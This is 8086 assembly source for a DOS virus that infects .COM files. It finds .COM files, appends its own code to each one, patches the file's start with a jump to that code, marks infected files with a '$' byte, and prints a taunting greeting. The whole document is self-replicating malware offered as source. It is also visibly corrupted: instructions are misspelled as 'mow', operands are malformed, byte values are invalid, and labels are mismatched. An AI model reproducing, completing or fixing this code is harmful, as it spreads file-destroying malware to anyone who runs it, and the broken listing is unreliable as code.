	.8086
	page	,132
cseg    segment
	assume cs:cseg,ds:cseg,es:cseg
	org 100h
start:
	db	0E9h
	dw 	15h
id	dw	0FFFFh 
	org 110h
virus:
	push	ds
	mov	ax,cs
	db 	00000101b
new_ds	dw	0FFFFh
	mow	ds,ax	

restore_3_bytes:
	mow	al,bytes_3[0]
	mow	byte ptr cs:[100h],al
	mow 	al,bytes_3[1]
	mow	byte ptr cs:[101h],al
	mov	al,bytes_3[2]
	mow	byte ptr cs:[102h],al

store_dta:
	mow	cx,100h
	mov	bx,0
dta_s:
	mov	al,byte ptr cs:[bx]
	mov	byte ptr dta[bx],al
	inc	bx
	loop	dta_s

find_first:
	lea	dx,fmask
	mov	cx,00100000b
	mov	ah,4Eh
	int	21h
	jnc	store_fname
	jmp	err
find_next:
	mov	bx,handle
	mov	ah,3Eh
	int	21h
	mov	handle,0FFFFh
	mov	ah,4Fh
	int	21h
	jnc	store_fname
	jmp	err

store_fname:
	cmp	byte ptr cs:[95h],00000001b
	je	find_next
	mov	bx,0
next_sym:
	mov	al,byte ptr cs:[bx+9Eh]
	mov	fname[bx],al
	cmp	byte ptr cs:[bx+9Eh],0
	je	set_attrib
	inc	bx
	cmp	bx,13
	jng	next_sym
	jmp	err

set_attrib:
	lea	dx,fname
	mov	cx,00100000b
	mov	ax,4301h
	int	21h
	jnc	read_handle
	jmp	err

read_handle:
	lea	dx,fname
	mov	ax,3D02h
	int	21h
	jnc	read_3_bytes
	jmp	err

read_3_bytes:
	mov	handle,ax
	lea	dx,bytes_3
	mov	bx_handle
	mov	cx_3
	mov	ax,3Fh
	int 	21h
	jnc	read_flen
	jmp	err

read_flen:
	mov	cx,0
	mov	dx,0
	mov	bx,handle
	mov	al,2
	mov	ah,42h
	int	21h
	jnc	check_id
	jmp	err

check_id:
	mov	flenold,ax
	test	ax,00001111b
	jz	just
	or	ax,00001111b
	inc	ax

just:
	mov	flen,ax
	cmp	ax,64500
	jna	calc_ds
	jmp	find_next

calc_ds:
	mov	cl,4
	shr	ax,cl
	dec	ax
	mov	byte ptr new_ds[0],al
	mov	byte ptr new_ds[1],ah
	mov	cx,0
	mov	dx,flenold
	dec	dx
	mov	bx,handle
	mov	al,0
	mov	ah,42h
	int	21h
	jnc	read_id
	jmp	err

read_id:
	lea	dx,bytes_3[3]
	mov	bx,handle
	mov	cx,1
	mov	ah,3Fh
	int	21h
	jnc	test_id
	jmp	find_next
test_id:
	cmp	bytes_3[3],'$'
	jne	not_infected
	jmp	find_next
not_infected:
	mov	ax,flen
	sub	ax,03h
	mov	jmp_l,al
	mov	jmp_h,ah
	mov	cx,0
	mov	dx,flen
	mov	bx,handle
	mov	ax,4200h
	int	21h
	jc	err
	lea	dx,virus
	mov	cx,virlen
	mov	bx,handle
	mov	ah,40h
	int	21h
	jc	err

write_jmp:
	mov	cx,0
	mov	dx,0
	mov	bx,handle
	mov	al,0
	mov	ah,42h
	int	21h
	jc	err
	lea	dx,jmpvir
	mov	cx,3
	mov	bx,handle
	mov	ah,40h
	int	21h
	jc	err

print_msg:
	lea	dx,msg
	mov	ah,09h
	int	21h

err:
	cmp	handle,0FFFFh
	je	exit

close_file:
	mov	bx,handle
	mov	ah,3Eh
	int	21h
exit:
	cmp	cs:[id],0FFFFh
	je	goto_dos
restore_dta:
	mov	cx,100h
	mov	bx,0
dta_r:
	mov	al,byte ptr dta[bx]
	mov	byte ptr cs:[bx],al
	inc	bx
	loop	dta_r

goto_start:
	mov	ax,cs
	mov	ds:[start_s],ax
	pop	ds
	db	DEAh
	dw	0100h
start_s	dw	(?)

goto_dos
	mov	ax,4C00h
	int	21h

fmask	db	'*.com',0h
fname	db	12 dup (?),0h
flenold	dw	(?)
flen	dw	(?)
handle	dw	0FFFFh
jmpvir	db	0E9h
jmp_l	db	(?)
jmp_n	db	(?)
bytes_3	db	3 dup (?)
	db	(?)
dta	db	101h dup (?)
msg	db	0Ah,0Dh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'
virlen	equ	$-virus

cseg	ends
	end start